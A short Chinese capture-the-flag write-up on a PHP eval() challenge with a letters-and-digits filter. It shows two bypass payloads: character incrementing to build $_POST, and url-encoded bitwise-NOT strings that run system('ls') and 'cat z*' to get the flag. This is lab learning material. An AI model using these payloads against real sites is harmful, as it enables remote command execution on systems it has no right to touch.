记录一道取反绕过RCE的题,很无语(我发现这个靶场的题都很坑)
先看源码
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(preg_match("/[A-Za-z0-9]+/",$a)){
die("no!");
}
@eval($a);
?>
一眼看去就是无字母数字RCE,有很多方法绕过,比如字符累加拼接,异或绕过,取反绕过等
我一开始用的是字符累加拼接的方法
payload如下
$_=(_/_._)['!'=='#']; //这一步是关键,_/_._由于分母_在做除法时会转换成0,相除后就是无穷 大,._ 让其强制转换为字符串就是NAN,['!'=='#']主要代替[0],那么最终就 是NAN[0],就得到字母N了,是不是很神奇~
$____=++$_; //$____就是O
$__=++$_; //$__是P
$_++; //Q
$_++; //R
$___=++$_; //$__是S
$_____=++$_; //$_____是T
$_=_.$__.$____.$___.$_____; //$_是_POST
$$_[_]($$_[__]); //相当于$_POST[_]($_POST[__]);
我们get传参 ?a=$_=(_/_._)[%27!%27==%27#'];$____=++$_;$__=++$_;$_++;$_++;$___=++$_;$_____=++$_;$_=_.$__.$____.$___.$_____;$$_[_]($$_[__]);
post传参_=system&__=ls
按原来来说应该可以,但是题目没反应,我一开始以为是把system函数禁用了,但是无论我改什么都没反应,我本地测试就可以,很奇怪。
没办法,换一个思路,取反绕过
echo urlencode(~'system').' ';
echo urlencode(~'ls').' ';
结果
%8C%86%8C%8B%9A%92 %93%8C
payload:?a=(~%8C%86%8C%8B%9A%92)((~%93%8C));
成功
<?php
echo urlencode(~'system').' ';
echo urlencode(~'cat z*').' ';
结果
%8C%86%8C%8B%9A%92 %9C%9E%8B%DF%85%D5
修改payload:?a=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%85%D5));
得到flag